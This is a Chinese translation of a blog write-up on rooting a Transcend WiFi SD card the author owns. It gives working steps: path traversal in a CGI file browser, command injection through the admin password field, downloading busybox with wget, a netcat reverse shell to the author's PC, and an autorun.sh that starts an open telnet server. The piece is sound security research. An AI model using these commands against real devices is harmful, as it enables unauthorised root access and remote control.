我最近搞了张Transcend WiFi SD,颇为得意。它可以让我在几秒钟内将单反(奶昔,相当便携)中拍摄的照片传到任何支持wifi的设备上。我很喜欢在旅途中拍摄和分享图片,所以对我而言,可以无线传输图片的SD卡是一个很好的解决方案。确实如此!(以后也是!)。不过移动应用程序可以应该好好改进下(下载7MB的图像仅仅为了渲染?点击下载后还要重新下载一遍!谁能告诉我这是为什么?),但是,嘿,它能够完成任务!

这个小小的设备不仅可以存储16GB数据(还有32GB版本),而且还是一个嵌入式系统,能够运行应用程序,包括web服务器,和其他wifi设备通讯,甚至自建无线网络——这个明显的事实让我和我的小伙伴都惊呆了!好了,不废话了,进入主题:我们能不能用这个设备做一些设计之外的事情呢?

写这篇文章的目的不但是为了指出可以用来root、越狱设备的漏洞,同时也是为了展现摸索、利用漏洞的方法,其中的一些方法可能走不通,但其他的或许会导向万能的根用户。

准备Hax

我猜这张卡中存在着某种形式的嵌入式Linux系统。如果是这样,扩展它的功能会很容易,但是,首先我需要取得系统的控制权。到现在为止我只使用过和它配套的Android和iOS应用程序,不过很明显,最简单与电脑交互的方式是Web应用程序。下面的想法立即浮现在我的脑海中:

如果移动应用程序很糟糕,那么web应用和服务器肯定也好不到哪里去……也许它充满了等待被利用的漏洞。

孩子,我是对的!

一旦你连接到Web服务器(卡片的IP是192.168.11.254,默认登录admin/admin),你就会感受到和使用手机app一样糟糕的感觉,“用户体验”很糟,“破解体验”应该不错。很多人使用scanners、fuzers之类的强力工具来探索漏洞,然而这个系统的安全性是如此之差,以至于我随意摸索一番,就找到了可以利用的漏洞。

“Files”区域十分显眼,它允许你浏览SD卡的内容。不幸的是,它不允许你进入SD卡根目录的父目录。果真如此?如果可以进入父目录就好了,我们可以了解系统的内部情况,获得关于它的更多信息。如果我们足够幸运,甚至可以通过Web界面运行一些指令。你会注意到指向“父目录”的链接的URL是这样的(%2F就是URL编码格式中的斜杠字符“/”):

http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd

好了,让我们试着访问/www,http://192.168.11.254/cgi-bin/file _list.pl?dir=%2Fwww

结果证明此路不通。访问/、/bin、/etc、或任何其他目录都失败了。:( 运气不行。不过,话说回来,如果可行的话,那也太容易了!好吧,其实也没那么困难,程序员真是太粗心。导航栏中?dir=/www/sd/../../是一样的效果,成功了!

哈,太尴尬了!貌似程序员只是确保路径使用/WWW/SD起始,但没有验证父目录的“../”。通过这种方式,我们可以浏览嵌入式系统中的任何文件。当然,点击文件是不会执行它们的,只是下载而已,然而这已经是一个巨大的成功了!

浏览文件系统、下载脚本之后,很明显系统使用的是busybox,这在我们的意料之中。由于大多数二进制文件的大小是相同的,这暗示它们是指向busybox的软链接。然而,许多不是软链接,包括大多数在/WWW/cgi-bin目录下的脚本。这些可能是值得注意的,因为只需通过浏览器访问它们就可以运行。

开始Hax

看起来很有希望!现在我们可以访问内部系统,即使只是只读模式,仍然给了我们很大的便利,因为我们能够研究和寻找可以利用的漏洞。:)

检查一些脚本,找到可以被利用漏洞,没有花掉多少时间。顺便提一下,这些都是Perl脚本。Perl有一个很好的特性就是使用open()调用打开一个文件,因为如果open()的参数不是真正的文件路径,而是以管道符结尾的shell命令的话,例如open("cat/etc/passwd |"),会执行程序。其他滥用open()的手段包括在不同的位置写一个新文件,或者覆盖现有的文件,所以我们可以编写自己的代码并运行它。让我们来看看是否有文件可以被利用。

有一个文件特别显眼,因为它包含了一个含有用户提供的变量的open()调用。kcard_upload.pl包含以下语句:

事实上,Web应用程序并没有使用这个文件。kcard_upload.pl对用户是隐藏的,但它仍然存在,在cgi-bin目录下可以访问。我们只需用浏览器指向它,就可以运行。这真是双倍的尴尬,一个未被使用的可被利用的脚本!但是它真的可以被利用吗?

通过阅读kcard_upload.pl的代码,我知道这里存在三个利用变量$basename控制系统的挑战:

首先,$basename不能直接被用户使用,因为它是调用GetBasename($upfile)的结果。用户(即,攻击者)直接使用的是$upfile。更准确地说,它是你选择上传文件时HTML表单的路径。但是,如果我们提交了路径,GetBasename将只返回路径末尾的文件名,其余将被移除。这使遍历目录(如之前提到的../../技巧)不可行。

其次,$basename由脚本转化为大写,所以无论我们传入什么,都会被转换为大写,这限制了可用的策略。

最后的挑战是kcard_upload.pl的脚本只允许PNG,JPG,BMP,GIF格式的文件上传。

所以这是一条死胡同吗?还没那么快!

如果你更仔细地查看代码,你会意识到尽管程序员想要限制上传文件的类型,然而他们只是检查文件名是否包含这些扩展名,而不是是否以这些扩展名结束。

此外,这些正则表达式并没有真正检查是否包含.,因为在正则表达式中.可以代表除了换行符以外的任意字符。.应该使用\转义。我猜程序员想要的是/\.GIF$/,但结果写成了/.GIF/,所以我们只需在文件名的任意位置包含三字符组合就可以绕过限制,例如/hi/helPNGlo/asdf.something。太方便了!

由于我们的路径会被转化成大写,也许我们就不能再调用任何系统命令(因为大部分都不是大写),不过也许我们仍然可以上传新的文件,也许是把我们自己的脚本植入系统。我们并不十分关心这些脚本的文件名是大写还是小写。

最后,如果你还记得,我们的路径在保存到变量$basename之前,己经被GetBasename()转化了。GetBasename()的功能是切分路径,获取最后的文件名。所以/path/to/file.txt会变成简单的file.txt。这很糟,因为这意味着我们再也不能操纵路径,不能使用类似“../../bin/our-malicious.script”的技巧,因为它最终会变为“our-malicious.script”,然后保存在DCIM/198_WIFI/。:_(

图片4

除非,GetBasename()包含一个可以被利用的漏洞。:_)

基本上,这些代码考虑了两种情况:用户提供的路径是由windows风格的反斜杠分隔,以及路径由斜杠分隔(除去windows之外的任何OS)。或者说,这是这些代码试图做到的!这些代码真正做的是,检查路径是否包含一个反斜杠,如果包含,那么就判定这是一个windows路径(因为windows路径使用反斜杠作分隔符),然后按照反斜杠分割路径。它并不会真正检查路径是否由斜杠分隔。因此,考虑以下路径:

/this/part/gets/discarded\/this/path/is/used

由于这个路径包含一个反斜杠(这是一个合法的字符),代码会它认定它是一个windows路径,因此我们最终获得了一个不是真正的基本名的basename,它实际上是一个路径。在我们的例子中,路径将是:/this/path/is/used.

你看!类似/PNG/something\/../../our-malicious.script的路径将绕过所有安全措施,之后写入我们选定的位置 B-) 这是个好消息。坏消息是这些不能真正生效。啊!这是因为脚本错误地假设../DCIM/198_WIFI存在,但由于脚本从/WWW/cgi-bin运行,所以这个假设不成立(正确的路径应该是../sd/DCIM/198_WIFI)。令人伤心的是我们对此无能为力。这个bug是硬编码到脚本的。开发人员应该没怎么注意这一点,因为这个脚本并不打算提供给用户使用。(记得吗?它是隐藏的。)据我所知,尽管我们做了花了不少功夫,这是一条死胡同。:-( 不过也许有人可以拿出一个创新的方案。

(此外,kcard_upload.pl输出的表单并不调用自身,而是调用一个名为wifi_upload二进制文件,因此我们需要自己实现HTTP POST调用。)

Hax继续

不过,注意看!我们已经发现了代码质量如此糟糕,因此肯定还存在很多其他的漏洞(如果你想更有想象力一点,我很肯定kcard_upload.pl调用的/www/cgi-bin/wifi_upload工具,可以通过栈溢出和堆溢出破解,因为代码中有很多混乱的strcpy调用)。事实上,我没有过多地检查这些方面。还有一些我没在这篇里详述的其他死胡同。我下面将详述一个明显的漏洞,非常容易利用:

从perl脚本直接调用shell命令有很多不同的方法,如果程序员粗心大意地使用不妥的方式调用shell命令,那么也许我们可以运行自己的shell命令!使用perl脚本运行shell代码的一个方法是使用system()调用。事实上,.pl.cgi文件使用了大量的system()调用,但是它们的参数都是硬编码的,所以没有太多的空间可供操纵或利用。另外一种使用perl调用shell代码的方法是使用qx{}表达式,但是代码中没有使用过这种方式。然而,第三种方式是使用反引号包围shell代码,相当于使用qX{}。事实上很多地方都使用了这种方式,而且shell代码中也使用了用户提供的输入!这意味着他们的shell代码混合了我们的输入,所以可能被用来运行我们自己的代码。

在kcard_save_config_insup.pl有一行给人的感觉就像圣诞节:

该语句运行$update_auth指定的命令,将$LOGIN_USR$LOGIN_PWD作为参数。这两个参数直接来自一个表单,这意味着我们可以控制它们的值。没有针对它们内容的检查!更精确地说,这是当你进入Web界面,点击“settings”时显示的一个表单。你可以通过http://192.168.11.254/kcardX120Xedit_config_insup.pl直接访问这个表单。表单询问的是管理员的用户名和密码。这意味着通过选择一个恰当构造的密码,我们可以执行代码!首先,密码必须包含一个分号,以便在$update_path命令执行后可以开始执行一个新shell命令。然后它就可以包含任何我们想要的shell代码。最后,密码必须以#符号(表明后面的内容是注释)结束,这样后面的内容将被忽略(> /mnt/mtd/config/ia.passwd部分)。

这很容易测试,例如:admin; echo haxx > /tmp/hi.txt #

然而表单进行了合理性测试,它不会允许长密码和奇怪的字符。由于这些检查是通过JavaScript来完成的,而不是在服务器端完成的,绕过它们太容易了。我使用Form Editor Chrome扩展来摆脱这些问题。

提交表单后,我们可以很容易地检查漏洞是否有效,只需利用本文前面提到的漏洞访问/tmp。我们甚至可以下载文件然后检查其内容是否正确。 

记得将你的密码恢复为“admin”,否则利用完此漏洞后你需要通过出厂设置重设你的SD卡(当然重设不会影响到你的图片)。

获取root

目前为止,我们不仅能够读取嵌入式系统的文件系统中的任何文件,而且也可以执行shell代码,并写入文件。不过,我们仍然缺少合适的shell访问方式。

查看/usr/bin目录中的内容,我们可以发现,这里有很多可以让我们制造反向shell的好东西:netcat(nc 二进制)、telnet,等等。反向shell是这样工作的,通过我们PC的一个特定端口监听传入的连接,把目标系统连接到它,运行一个shell,通过该连接获取输入,同时通过该连接打印所有输出。建立反向shell的方法你用上所有的手指、脚趾也数不过来,不过最简单的方法是调用netcat:

nc 192.168.11.11 1337 -e /bin/bash

这会让netcat来连接我们的电脑(被分配的IP为192.168.11.11)的1337端口,然后将输入传给bash。当然,你必须使用先前所描述的漏洞来运行这个命令,将你的密码改为admin NC 192.168.11.111337 -e /bin/bash #。不幸的是这根本不起作用。使用telnet或其他工具的技巧也无效。为什么无效呢?nc、telnet和其他工具的软链接在/usr/bin目录下,指令的语法是正确的!事实上,我们亲爱的SD卡内的嵌入式Linux禁用了这些busybox的功能!(我们可以尝试调用telnet或netcat,将stdout和stderr重定向到/tmp/hi.txt来验证一点,使用以下命令nc 192.168.11.111337 -e /bin/bash &\> /tmp/hi.txt。下载hi.txt以后,它的内容会是类似如下的内容:nc: applet not found。这意味着nc被禁用了。真恶心!我们只能通过那个糟糕的表单运行命令,同时不能使用网络工具吗?当然不是!

碰巧的是,transcend脚本使用到了wget,因此wget是启用的。它允许我们下载另一个完整的BusyBox二进制文件 :))) 我懒得自己编译,所以我从http://busybox.net/downloads/binaries/latest/获取了一个预编译的busybox二进制文件。我把busybox-armv5l二进制文件放在我电脑上的本地web服务器上(我的SD卡没有互联网配置),所以我只是运行了wget http://192.168.11.11/busybox-armv5l,使用表单漏洞将它下载到SD卡的/www/cgi-bin目录。我也运行了chmod a+x /www/cgi-bin/busybox-armv5l确保它随后可以运行。

最后,我得到了我的远程shell!运行nc -vv -l 1337我的电脑会监听1337端口,运行/www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash,SD卡在该端口上启用shell。由于下载的busybox二进制文件启用了所有工具,我们可以通过远程shell运行/www/cgi-bin/busybox-armv5l <命令>获得更丰富的shell命令!例如,/www/cgi-bin/busybox-armv5l id告诉我们,我们已经已经以root身份在运行shell。

uid=0 gid=0

更多Hax

假如你忘记您的密码,需要重设,你可以使用SD卡的恢复出厂设置功能(SD卡中有一个特殊的图片文件,一旦删除,重新启动后就会复位SD卡)。不过,你可以恢复你的明文密码,源于一个非常非常非常粗心的错误。这有一个“隐藏”的perl脚本,kcard_login.pl,负责最狂野的登录过程。它从wsd.conf文件获取密码,然后提供浏览器验证密码的javascrip代码。是的,你没看错。使用javascript进行验证!

这意味着你只需将浏览器指向http://192.168.11.254/cgi-bin/kcardX156Xlogin.pl,然后查看页面的源代码就可以以明文方式恢复你的密码。密码就在那儿。

(更新)感谢破解友好的后门

启动时自动运行的脚本中,rcS会执行SD卡根目录下的autorun.sh。这将简化开发和破解,创见啊创见!。 

在我的SD卡的根目录下,我有以下脚本(命名为autorun.sh),此外还放了busybox-armv5l,这样我就可以简单地telnet到系统:

cp /mnt/sd/busybox-armv5l /sbin/busybox
chmod a+x /sbin/busybox
/sbin/busybox telnetd -l /bin/bash &

于是,该卡通电后你就可以登录,完成启动: 

尽享hacking之乐!:)


原文 Hacking Transcend WiFi SD Cards
翻译 SegmentFault


weakish
24.6k 声望844 粉丝

a vigorously lazy deadbeat with matured immaturity